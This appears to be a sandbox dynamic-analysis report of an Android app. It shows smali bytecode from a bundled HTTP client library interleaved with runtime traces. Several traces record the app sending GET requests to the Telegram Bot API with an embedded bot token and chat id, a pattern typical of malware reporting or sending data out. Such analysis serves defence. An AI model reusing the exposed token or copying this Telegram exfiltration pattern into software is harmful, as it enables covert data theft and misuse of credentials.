        89iput-object v2, p0, Lcz/msebera/android/httpclient/message/BasicTokenIterator;->currentHeader:Ljava/lang/String;
        90goto/16 :goto_9
        91cond_7a: if-eqz p1, :cond_7d
        92goto/16 :goto_7e
        93cond_7d: const/4 v1, -0x1
        94goto_7e: return v1
        APIs
        • cz.msebera.android.httpclient.conn.routing.HttpRoute.isTunnelled
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        Strings
        • HTTP request
        • HTTP context
        • Proxy-Authorization
        • http.connection
        • HTTP connection not set in the context
        • java.lang.String@eda8525
        • http.auth.proxy-scope
        • Proxy auth state not set in the context
        • Proxy auth state:
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Lcz/msebera/android/httpclient/HttpException;,
        3Ljava/io/IOException;
        4}
        5.end annotation
        7const-string v0, "HTTP request"
        9invoke-static {p1, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        11const-string v0, "HTTP context"
        13invoke-static {p2, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        15const-string v0, "Proxy-Authorization"
        17invoke-interface {p1, v0}, Lcz/msebera/android/httpclient/HttpRequest;->containsHeader(Ljava/lang/String;)Z
        18move-result v0
        19if-eqz v0, :cond_13
        20return-void
        21cond_13:
        22const-string v0, "http.connection"
        24invoke-interface {p2, v0}, Lcz/msebera/android/httpclient/protocol/HttpContext;->getAttribute(Ljava/lang/String;)Ljava/lang/Object;
        25move-result-object v0
        26check-cast v0, Lcz/msebera/android/httpclient/conn/HttpRoutedConnection;
        27if-nez v0, :cond_25
        29iget-object p1, p0, Lcz/msebera/android/httpclient/client/protocol/RequestProxyAuthentication;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        31const-string p2, "HTTP connection not set in the context"
        33invoke-virtual {p1, p2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        34return-void
        35cond_25:
        36invoke-interface {v0}, Lcz/msebera/android/httpclient/conn/HttpRoutedConnection;->getRoute()Lcz/msebera/android/httpclient/conn/routing/HttpRoute;
        37move-result-object v0
        39invoke-virtual {v0}, Lcz/msebera/android/httpclient/conn/routing/HttpRoute;->isTunnelled()Z
        • Time: 1303466
          • This:
            • https://api.telegram.org
          • Return:
            • java.lang.String@eda8525
        • Time: 1303465
          • This:
            • {s}->https://api.telegram.org
          • Return:
            • false
        40move-result v0
        41if-eqz v0, :cond_30
        42return-void
        43cond_30:
        44const-string v0, "http.auth.proxy-scope"
        46invoke-interface {p2, v0}, Lcz/msebera/android/httpclient/protocol/HttpContext;->getAttribute(Ljava/lang/String;)Ljava/lang/Object;
        47move-result-object v0
        48check-cast v0, Lcz/msebera/android/httpclient/auth/AuthState;
        49if-nez v0, :cond_42
        51iget-object p1, p0, Lcz/msebera/android/httpclient/client/protocol/RequestProxyAuthentication;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        53const-string p2, "Proxy auth state not set in the context"
        55invoke-virtual {p1, p2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        56return-void
        57cond_42:
        58iget-object v1, p0, Lcz/msebera/android/httpclient/client/protocol/RequestProxyAuthentication;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        60invoke-virtual {v1}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        61move-result v1
        62if-eqz v1, :cond_64
        64iget-object v1, p0, Lcz/msebera/android/httpclient/client/protocol/RequestProxyAuthentication;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        65new-instance v2, Ljava/lang/StringBuilder;
        67invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
        69const-string v3, "Proxy auth state: "
        71invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        73invoke-virtual {v0}, Lcz/msebera/android/httpclient/auth/AuthState;->getState()Lcz/msebera/android/httpclient/auth/AuthProtocolState;
        74move-result-object v3
        76invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        78invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        79move-result-object v2
        81invoke-virtual {v1, v2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        82cond_64:
        83invoke-virtual {p0, v0, p1, p2}, Lcz/msebera/android/httpclient/client/protocol/RequestProxyAuthentication;->process(Lcz/msebera/android/httpclient/auth/AuthState;Lcz/msebera/android/httpclient/HttpRequest;Lcz/msebera/android/httpclient/protocol/HttpContext;)V
        84return-void
        APIs
        • cz.msebera.android.httpclient.message.BasicRequestLine.getMethod
        • java.lang.String.equalsIgnoreCase
        Strings
        • HTTP request
        • /bot733454717:AAG5GpAAJ6BDzsP1JbqTfsuRXfPsJ5-Fg2o/sendMessage?chat_id=556050782&text=Access%20to%20Password%20Denied
        • java.lang.String@9f598bc
        • java.lang.String@a81a21d
        • java.lang.String@c1438e0
        • java.lang.String@ee70663
        • CONNECT
        • Proxy-Connection
        • Keep-Alive
        • Connection route not set in the context
        • Connection
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Lcz/msebera/android/httpclient/HttpException;,
        3Ljava/io/IOException;
        4}
        5.end annotation
        7const-string v0, "HTTP request"
        9invoke-static {p1, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        11invoke-interface {p1}, Lcz/msebera/android/httpclient/HttpRequest;->getRequestLine()Lcz/msebera/android/httpclient/RequestLine;
        12move-result-object v0
        14invoke-interface {v0}, Lcz/msebera/android/httpclient/RequestLine;->getMethod()Ljava/lang/String;
        • Time: 1303233
          • This:
            • cz.msebera.android.httpclient.message.BasicRequestLine@e957c8e
          • This:
            • cz.msebera.android.httpclient.message.BasicRequestLine@e957c8e
          • Return:
            • java.lang.String@c1438e0
          • Return:
            • java.lang.String@c1438e0
        • Time: 1303234
          • This:
            • cz.msebera.android.httpclient.message.BasicRequestLine@e957c8e
          • Return:
            • /bot733454717:AAG5GpAAJ6BDzsP1JbqTfsuRXfPsJ5-Fg2o/sendMessage?chat_id=556050782&text=Access%20to%20Password%20Denied
        • Time: 1303236
          • This:
            • cz.msebera.android.httpclient.HttpVersion@e623af4
          • Return:
            • java.lang.String@a81a21d
        • Time: 1303238
          • This:
            • cz.msebera.android.httpclient.util.CharArrayBuffer@56d7caf
          • p0: java.lang.String@c1438e0
        • Time: 1303241
          • This:
            • cz.msebera.android.httpclient.util.CharArrayBuffer@56d7caf
          • p0: /bot733454717:AAG5GpAAJ6BDzsP1JbqTfsuRXfPsJ5-Fg2o/sendMessage?chat_id=556050782&text=Access%20to%20Password%20Denied
        • Time: 1303246
          • This:
            • cz.msebera.android.httpclient.util.CharArrayBuffer@56d7caf
          • p0: java.lang.String@a81a21d
        • Time: 1303248
          • This:
            • cz.msebera.android.httpclient.util.CharArrayBuffer@56d7caf
          • p0: java.lang.String@ee70663
        • Time: 1303251
          • This:
            • java.lang.String@9f598bc
          • p0: [C@f838045
          • p0: GET /bot733454717:AAG5GpAAJ6BDzsP1JbqTfsuRXfPsJ5-Fg2o/sendMessage?chat_id=556050782&text=Access%20to%20Password%20Denied HTTP/1.1
          • p1: java.lang.Integer@a8cbdf
          • p2: java.lang.Integer@670d39a
          • Return:
            • java.lang.String@9f598bc
        • Time: 1303254
          • This:
            • cz.msebera.android.httpclient.util.CharArrayBuffer@56d7caf
          • Return:
            • java.lang.String@9f598bc
        15move-result-object v0
        17const-string v1, "CONNECT"
        19invoke-virtual {v0, v1}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
        • Time: 1303260
          • This:
            • java.lang.String@c1438e0
          • p0: CONNECT
          • Return:
            • false
        20move-result v0
        21if-eqz v0, :cond_1d
        23const-string p2, "Proxy-Connection"
        25const-string v0, "Keep-Alive"
        27invoke-interface {p1, p2, v0}, Lcz/msebera/android/httpclient/HttpRequest;->setHeader(Ljava/lang/String;Ljava/lang/String;)V
        28return-void
        29cond_1d:
        30invoke-static {p2}, Lcz/msebera/android/httpclient/client/protocol/HttpClientContext;->adapt(Lcz/msebera/android/httpclient/protocol/HttpContext;)Lcz/msebera/android/httpclient/client/protocol/HttpClientContext;
        31move-result-object p2
        33invoke-virtual {p2}, Lcz/msebera/android/httpclient/client/protocol/HttpClientContext;->getHttpRoute()Lcz/msebera/android/httpclient/conn/routing/RouteInfo;
        34move-result-object p2
        35if-nez p2, :cond_2f
        37iget-object p1, p0, Lcz/msebera/android/httpclient/client/protocol/RequestClientConnControl;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        39const-string p2, "Connection route not set in the context"
        41invoke-virtual {p1, p2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        42return-void
        43cond_2f:
        44invoke-interface {p2}, Lcz/msebera/android/httpclient/conn/routing/RouteInfo;->getHopCount()I
        45move-result v0
        46const/4 v1, 0x1
        47if-eq v0, v1, :cond_3c
        49invoke-interface {p2}, Lcz/msebera/android/httpclient/conn/routing/RouteInfo;->isTunnelled()Z
        50move-result v0
        51if-eqz v0, :cond_4b
        52cond_3c:
        53const-string v0, "Connection"
        55invoke-interface {p1, v0}, Lcz/msebera/android/httpclient/HttpRequest;->containsHeader(Ljava/lang/String;)Z
        56move-result v0
        57if-nez v0, :cond_4b
        59const-string v0, "Connection"
        61const-string v1, "Keep-Alive"
        63invoke-interface {p1, v0, v1}, Lcz/msebera/android/httpclient/HttpRequest;->addHeader(Ljava/lang/String;Ljava/lang/String;)V
        64cond_4b:
        65invoke-interface {p2}, Lcz/msebera/android/httpclient/conn/routing/RouteInfo;->getHopCount()I
        66move-result v0
        67const/4 v1, 0x2
        68if-ne v0, v1, :cond_67
        70invoke-interface {p2}, Lcz/msebera/android/httpclient/conn/routing/RouteInfo;->isTunnelled()Z
        71move-result p2
        72if-nez p2, :cond_67
        74const-string p2, "Proxy-Connection"
        76invoke-interface {p1, p2}, Lcz/msebera/android/httpclient/HttpRequest;->containsHeader(Ljava/lang/String;)Z
        77move-result p2
        78if-nez p2, :cond_67
        80const-string p2, "Proxy-Connection"
        82const-string v0, "Keep-Alive"
        84invoke-interface {p1, p2, v0}, Lcz/msebera/android/httpclient/HttpRequest;->addHeader(Ljava/lang/String;Ljava/lang/String;)V
        85cond_67: return-void
        APIs
        • cz.msebera.android.httpclient.message.BasicRequestLine.getMethod
        • java.lang.String.equalsIgnoreCase
        • java.util.Collection.iterator
        • java.util.Iterator.hasNext
        • java.util.Iterator.next
        Strings
        • HTTP request
        • /bot733454717:AAG5GpAAJ6BDzsP1JbqTfsuRXfPsJ5-Fg2o/sendMessage?chat_id=556050782&text=Access%20to%20Password%20Denied
        • java.lang.String@a81a21d
        • java.lang.String@c1438e0
        • java.lang.String@ee70663
        • java.lang.String@fe21260
        • CONNECT
        • http.default-headers
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Lcz/msebera/android/httpclient/HttpException;,
        3Ljava/io/IOException;
        4}
        5.end annotation
        7const-string p2, "HTTP request"
        9invoke-static {p1, p2}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        11invoke-interface {p1}, Lcz/msebera/android/httpclient/HttpRequest;->getRequestLine()Lcz/msebera/android/httpclient/RequestLine;
        12move-result-object p2
        14invoke-interface {p2}, Lcz/msebera/android/httpclient/RequestLine;->getMethod()Ljava/lang/String;
        • Time: 1303134
          • This:
            • cz.msebera.android.httpclient.message.BasicRequestLine@7aae4c7
          • This:
            • cz.msebera.android.httpclient.message.BasicRequestLine@7aae4c7
          • Return:
            • java.lang.String@c1438e0
          • Return:
            • java.lang.String@c1438e0
        • Time: 1303136
          • This:
            • cz.msebera.android.httpclient.message.BasicRequestLine@7aae4c7
          • Return:
            • /bot733454717:AAG5GpAAJ6BDzsP1JbqTfsuRXfPsJ5-Fg2o/sendMessage?chat_id=556050782&text=Access%20to%20Password%20Denied
        • Time: 1303138
          • This:
            • cz.msebera.android.httpclient.HttpVersion@e623af4
          • Return:
            • java.lang.String@a81a21d
        • Time: 1303140
          • This:
            • cz.msebera.android.httpclient.util.CharArrayBuffer@8050c92
          • p0: java.lang.String@c1438e0
        • Time: 1303143
          • This:
            • cz.msebera.android.httpclient.util.CharArrayBuffer@8050c92
          • p0: /bot733454717:AAG5GpAAJ6BDzsP1JbqTfsuRXfPsJ5-Fg2o/sendMessage?chat_id=556050782&text=Access%20to%20Password%20Denied
        • Time: 1303152
          • This:
            • cz.msebera.android.httpclient.util.CharArrayBuffer@8050c92
          • p0: java.lang.String@a81a21d
        • Time: 1303157
          • This:
            • cz.msebera.android.httpclient.util.CharArrayBuffer@8050c92
          • p0: java.lang.String@ee70663
        • Time: 1303161
          • This:
            • java.lang.String@fe21260
          • p0: [C@b1b4319
          • p0: GET /bot733454717:AAG5GpAAJ6BDzsP1JbqTfsuRXfPsJ5-Fg2o/sendMessage?chat_id=556050782&text=Access%20to%20Password%20Denied HTTP/1.1
          • p1: java.lang.Integer@a8cbdf
          • p2: java.lang.Integer@7635fde
          • Return:
            • java.lang.String@fe21260
        • Time: 1303165
          • This:
            • cz.msebera.android.httpclient.util.CharArrayBuffer@8050c92
          • Return:
            • java.lang.String@fe21260
        15move-result-object p2
        17const-string v0, "CONNECT"
        19invoke-virtual {p2, v0}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
        • Time: 1303168
          • This:
            • java.lang.String@c1438e0
          • p0: CONNECT
          • Return:
            • false
        20move-result p2
        21if-eqz p2, :cond_16
        22return-void
        23cond_16:
        24invoke-interface {p1}, Lcz/msebera/android/httpclient/HttpRequest;->getParams()Lcz/msebera/android/httpclient/params/HttpParams;
        25move-result-object p2
        27const-string v0, "http.default-headers"
        29invoke-interface {p2, v0}, Lcz/msebera/android/httpclient/params/HttpParams;->getParameter(Ljava/lang/String;)Ljava/lang/Object;
        30move-result-object p2
        31check-cast p2, Ljava/util/Collection;
        32if-nez p2, :cond_26
        34iget-object p2, p0, Lcz/msebera/android/httpclient/client/protocol/RequestDefaultHeaders;->defaultHeaders:Ljava/util/Collection;
        35cond_26: if-eqz p2, :cond_3c
        37invoke-interface {p2}, Ljava/util/Collection;->iterator()Ljava/util/Iterator;
        38move-result-object p2
        39goto_2c:
        40invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
        41move-result v0
        42if-eqz v0, :cond_3c
        44invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
        45move-result-object v0
        46check-cast v0, Lcz/msebera/android/httpclient/Header;
        48invoke-interface {p1, v0}, Lcz/msebera/android/httpclient/HttpRequest;->addHeader(Lcz/msebera/android/httpclient/Header;)V
        49goto/16 :goto_2c
        50cond_3c: return-void
        Cross References
        APIs
        • cz.msebera.android.httpclient.impl.client.EntityEnclosingRequestWrapper.expectContinue
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.ProtocolException.<init>
        Strings
        • HTTP request
        • Client connection
        • HTTP context
        • http.connection
        • http.request_sent
        • Unexpected response:
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Ljava/io/IOException;,
        3Lcz/msebera/android/httpclient/HttpException;
        4}
        5.end annotation
        7const-string v0, "HTTP request"
        9invoke-static {p1, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        11const-string v0, "Client connection"
        13invoke-static {p2, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        15const-string v0, "HTTP context"
        17invoke-static {p3, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        19const-string v0, "http.connection"
        21invoke-interface {p3, v0, p2}, Lcz/msebera/android/httpclient/protocol/HttpContext;->setAttribute(Ljava/lang/String;Ljava/lang/Object;)V
        23const-string v0, "http.request_sent"
        25sget-object v1, Ljava/lang/Boolean;->FALSE:Ljava/lang/Boolean;
        27invoke-interface {p3, v0, v1}, Lcz/msebera/android/httpclient/protocol/HttpContext;->setAttribute(Ljava/lang/String;Ljava/lang/Object;)V
        29invoke-interface {p2, p1}, Lcz/msebera/android/httpclient/HttpClientConnection;->sendRequestHeader(Lcz/msebera/android/httpclient/HttpRequest;)V
        30instance-of v0, p1, Lcz/msebera/android/httpclient/HttpEntityEnclosingRequest;
        31const/4 v1, 0x0
        32if-eqz v0, :cond_88
        33const/4 v0, 0x1
        35invoke-interface {p1}, Lcz/msebera/android/httpclient/HttpRequest;->getRequestLine()Lcz/msebera/android/httpclient/RequestLine;
        36move-result-object v2
        38invoke-interface {v2}, Lcz/msebera/android/httpclient/RequestLine;->getProtocolVersion()Lcz/msebera/android/httpclient/ProtocolVersion;
        39move-result-object v2
        40move-object v3, p1
        41check-cast v3, Lcz/msebera/android/httpclient/HttpEntityEnclosingRequest;
        43invoke-interface {v3}, Lcz/msebera/android/httpclient/HttpEntityEnclosingRequest;->expectContinue()Z
        • Time: 1303842
          • This:
            • cz.msebera.android.httpclient.impl.client.EntityEnclosingRequestWrapper@8b59606
          • Return:
            • false
        44move-result v4
        45if-eqz v4, :cond_83
        47sget-object v4, Lcz/msebera/android/httpclient/HttpVersion;->HTTP_1_0:Lcz/msebera/android/httpclient/HttpVersion;
        49invoke-virtual {v2, v4}, Lcz/msebera/android/httpclient/ProtocolVersion;->lessEquals(Lcz/msebera/android/httpclient/ProtocolVersion;)Z
        50move-result v2
        51if-nez v2, :cond_83
        53invoke-interface {p2}, Lcz/msebera/android/httpclient/HttpClientConnection;->flush()V
        54iget v2, p0, Lcz/msebera/android/httpclient/protocol/HttpRequestExecutor;->waitForContinue:I
        56invoke-interface {p2, v2}, Lcz/msebera/android/httpclient/HttpClientConnection;->isResponseAvailable(I)Z
        57move-result v2
        58if-eqz v2, :cond_83
        60invoke-interface {p2}, Lcz/msebera/android/httpclient/HttpClientConnection;->receiveResponseHeader()Lcz/msebera/android/httpclient/HttpResponse;
        61move-result-object v2
        63invoke-virtual {p0, p1, v2}, Lcz/msebera/android/httpclient/protocol/HttpRequestExecutor;->canResponseHaveBody(Lcz/msebera/android/httpclient/HttpRequest;Lcz/msebera/android/httpclient/HttpResponse;)Z
        64move-result p1
        65if-eqz p1, :cond_55
        67invoke-interface {p2, v2}, Lcz/msebera/android/httpclient/HttpClientConnection;->receiveResponseEntity(Lcz/msebera/android/httpclient/HttpResponse;)V
        68cond_55:
        69invoke-interface {v2}, Lcz/msebera/android/httpclient/HttpResponse;->getStatusLine()Lcz/msebera/android/httpclient/StatusLine;
        70move-result-object p1
        72invoke-interface {p1}, Lcz/msebera/android/httpclient/StatusLine;->getStatusCode()I
        73move-result p1
        74const/16 v4, 0xc8
        75if-ge p1, v4, :cond_81
        76const/16 v4, 0x64
        77if-ne p1, v4, :cond_66
        78goto/16 :goto_83
        79cond_66: new-instance p1, Lcz/msebera/android/httpclient/ProtocolException;
        80new-instance p2, Ljava/lang/StringBuilder;
        82invoke-direct {p2}, Ljava/lang/StringBuilder;-><init>()V
        84const-string p3, "Unexpected response: "
        86invoke-virtual {p2, p3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        88invoke-interface {v2}, Lcz/msebera/android/httpclient/HttpResponse;->getStatusLine()Lcz/msebera/android/httpclient/StatusLine;
        89move-result-object p3
        91invoke-virtual {p2, p3}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        93invoke-virtual {p2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        94move-result-object p2
        96invoke-direct {p1, p2}, Lcz/msebera/android/httpclient/ProtocolException;-><init>(Ljava/lang/String;)V
        97throw p1
        98cond_81: const/4 v0, 0x0
        99move-object v1, v2
        100cond_83: if-eqz v0, :cond_88
        102invoke-interface {p2, v3}, Lcz/msebera/android/httpclient/HttpClientConnection;->sendRequestEntity(Lcz/msebera/android/httpclient/HttpEntityEnclosingRequest;)V
        103cond_88:
        104invoke-interface {p2}, Lcz/msebera/android/httpclient/HttpClientConnection;->flush()V
        106const-string p1, "http.request_sent"
        108sget-object p2, Ljava/lang/Boolean;->TRUE:Ljava/lang/Boolean;
        110invoke-interface {p3, p1, p2}, Lcz/msebera/android/httpclient/protocol/HttpContext;->setAttribute(Ljava/lang/String;Ljava/lang/Object;)V
        111return-object v1
        Cross References
        APIs
        • cz.msebera.android.httpclient.extras.HttpClientAndroidLog.isDebugEnabled
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.util.concurrent.locks.Lock.lock
        • java.util.Set.add
        • java.util.concurrent.locks.Lock.unlock
        Strings
        • Creating new connection [
        • ]
        Position Instruction Meta Information
        1iget-object v0, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        3invoke-virtual {v0}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        • Time: 1302449
          • This:
            • cz.msebera.android.httpclient.extras.HttpClientAndroidLog@873b27
          • Return:
            • false
        4move-result v0
        5if-eqz v0, :cond_27
        7iget-object v0, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        8new-instance v1, Ljava/lang/StringBuilder;
        10invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
        12const-string v2, "Creating new connection ["
        14invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        16invoke-virtual {p1}, Lcz/msebera/android/httpclient/impl/conn/tsccm/RouteSpecificPool;->getRoute()Lcz/msebera/android/httpclient/conn/routing/HttpRoute;
        17move-result-object v2
        19invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        21const-string v2, "]"
        23invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        25invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        26move-result-object v1
        28invoke-virtual {v0, v1}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        29cond_27: new-instance v0, Lcz/msebera/android/httpclient/impl/conn/tsccm/BasicPoolEntry;
        31invoke-virtual {p1}, Lcz/msebera/android/httpclient/impl/conn/tsccm/RouteSpecificPool;->getRoute()Lcz/msebera/android/httpclient/conn/routing/HttpRoute;
        32move-result-object v4
        33iget-wide v5, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->connTTL:J
        35iget-object v7, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->connTTLTimeUnit:Ljava/util/concurrent/TimeUnit;
        36move-object v2, v0
        37move-object v3, p2
        39invoke-direct/range {v2 .. v7}, Lcz/msebera/android/httpclient/impl/conn/tsccm/BasicPoolEntry;-><init>(Lcz/msebera/android/httpclient/conn/ClientConnectionOperator;Lcz/msebera/android/httpclient/conn/routing/HttpRoute;JLjava/util/concurrent/TimeUnit;)V
        41iget-object p2, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->poolLock:Ljava/util/concurrent/locks/Lock;
        43invoke-interface {p2}, Ljava/util/concurrent/locks/Lock;->lock()V
        44try_start_3b:
        45invoke-virtual {p1, v0}, Lcz/msebera/android/httpclient/impl/conn/tsccm/RouteSpecificPool;->createdEntry(Lcz/msebera/android/httpclient/impl/conn/tsccm/BasicPoolEntry;)V
        46iget p1, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->numConnections:I
        47add-int/lit8 p1, p1, 0x1
        48iput p1, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->numConnections:I
        50iget-object p1, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->leasedConnections:Ljava/util/Set;
        52invoke-interface {p1, v0}, Ljava/util/Set;->add(Ljava/lang/Object;)Z
        53try_end_49:
        54iget-object p1, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->poolLock:Ljava/util/concurrent/locks/Lock;
        56invoke-interface {p1}, Ljava/util/concurrent/locks/Lock;->unlock()V
        57return-object v0
        58catchall_4f: move-exception p1
        60iget-object p2, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->poolLock:Ljava/util/concurrent/locks/Lock;
        62invoke-interface {p2}, Ljava/util/concurrent/locks/Lock;->unlock()V
        63throw p1
        Cross References
        APIs
        • java.util.List.get
        • cz.msebera.android.httpclient.message.BufferedHeader.getName
        • java.lang.String.equalsIgnoreCase
        Strings
        • Access-Control-Allow-Methods
        • Access-Control-Allow-Origin
        • Access-Control-Expose-Headers
        • Connection
        • Content-Length
        • Content-Type
        • Date
        • Server
        • Strict-Transport-Security
        Position Instruction Meta Information
        1iget-object v0, p0, Lcz/msebera/android/httpclient/message/BasicListHeaderIterator;->headerName:Ljava/lang/String;
        2if-nez v0, :cond_6
        3const/4 p1, 0x1
        4return p1
        5cond_6:
        6iget-object v0, p0, Lcz/msebera/android/httpclient/message/BasicListHeaderIterator;->allHeaders:Ljava/util/List;
        8invoke-interface {v0, p1}, Ljava/util/List;->get(I)Ljava/lang/Object;
        9move-result-object p1
        10check-cast p1, Lcz/msebera/android/httpclient/Header;
        12invoke-interface {p1}, Lcz/msebera/android/httpclient/Header;->getName()Ljava/lang/String;
        • Time: 1304431
          • This:
            • Server: nginx/1.12.2
          • Return:
            • Server
        • Time: 1304435
          • This:
            • Date: Tue, 12 Feb 2019 13:29:49 GMT
          • Return:
            • Date
        • Time: 1304439
          • This:
            • Content-Type: application/json
          • Return:
            • Content-Type
        • Time: 1304443
          • This:
            • Content-Length: 243
          • Return:
            • Content-Length
        • Time: 1304447
          • This:
            • Connection: keep-alive
          • Return:
            • Connection
        • Time: 1304451
          • This:
            • Access-Control-Allow-Origin: *
          • Return:
            • Access-Control-Allow-Origin
        • Time: 1304455
          • This:
            • Access-Control-Allow-Methods: GET, POST, OPTIONS
          • Return:
            • Access-Control-Allow-Methods
        • Time: 1304459
          • This:
            • Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
          • Return:
            • Access-Control-Expose-Headers
        • Time: 1304463
          • This:
            • Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
          • Return:
            • Strict-Transport-Security
        13move-result-object p1
        15iget-object v0, p0, Lcz/msebera/android/httpclient/message/BasicListHeaderIterator;->headerName:Ljava/lang/String;
        17invoke-virtual {v0, p1}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
        • Time: 1304433
          • This:
            • Set-Cookie
          • p0: Server
          • Return:
            • false
        • Time: 1304437
          • This:
            • Set-Cookie
          • p0: Date
          • Return:
            • false
        • Time: 1304441
          • This:
            • Set-Cookie
          • p0: Content-Type
          • Return:
            • false
        • Time: 1304445
          • This:
            • Set-Cookie
          • p0: Content-Length
          • Return:
            • false
        • Time: 1304449
          • This:
            • Set-Cookie
          • p0: Connection
          • Return:
            • false
        • Time: 1304453
          • This:
            • Set-Cookie
          • p0: Access-Control-Allow-Origin
          • Return:
            • false
        • Time: 1304457
          • This:
            • Set-Cookie
          • p0: Access-Control-Allow-Methods
          • Return:
            • false
        • Time: 1304461
          • This:
            • Set-Cookie
          • p0: Access-Control-Expose-Headers
          • Return:
            • false
        • Time: 1304465
          • This:
            • Set-Cookie
          • p0: Strict-Transport-Security
          • Return:
            • false
        • Time: 1304636
          • This:
            • Connection
          • p0: Connection
          • Return:
            • true
        18move-result p1
        19return p1
        Cross References
        APIs
        • cz.msebera.android.httpclient.message.BasicRequestLine.getUri
        • java.lang.String.length
        • java.lang.String.<init>
        • cz.msebera.android.httpclient.util.CharArrayBuffer.append
        Strings
        • /bot733454717:AAG5GpAAJ6BDzsP1JbqTfsuRXfPsJ5-Fg2o/sendMessage?chat_id=556050782&text=Access%20to%20Password%20Denied
        • java.lang.String@9c5fbb4
        • java.lang.String@a81a21d
        • java.lang.String@c1438e0
        • java.lang.String@c9fb238
        Position Instruction Meta Information
        1invoke-interface {p2}, Lcz/msebera/android/httpclient/RequestLine;->getMethod()Ljava/lang/String;
        • Time: 1303507
          • This:
            • GET /bot733454717:AAG5GpAAJ6BDzsP1JbqTfsuRXfPsJ5-Fg2o/sendMessage?chat_id=556050782&text=Access%20to%20Password%20Denied HTTP/1.1
          • Return:
            • /bot733454717:AAG5GpAAJ6BDzsP1JbqTfsuRXfPsJ5-Fg2o/sendMessage?chat_id=556050782&text=Access%20to%20Password%20Denied
        • Time: 1303512
          • This:
            • cz.msebera.android.httpclient.util.CharArrayBuffer@2b63087
          • p0: java.lang.String@c1438e0
        • Time: 1303514
          • This:
            • cz.msebera.android.httpclient.util.CharArrayBuffer@2b63087
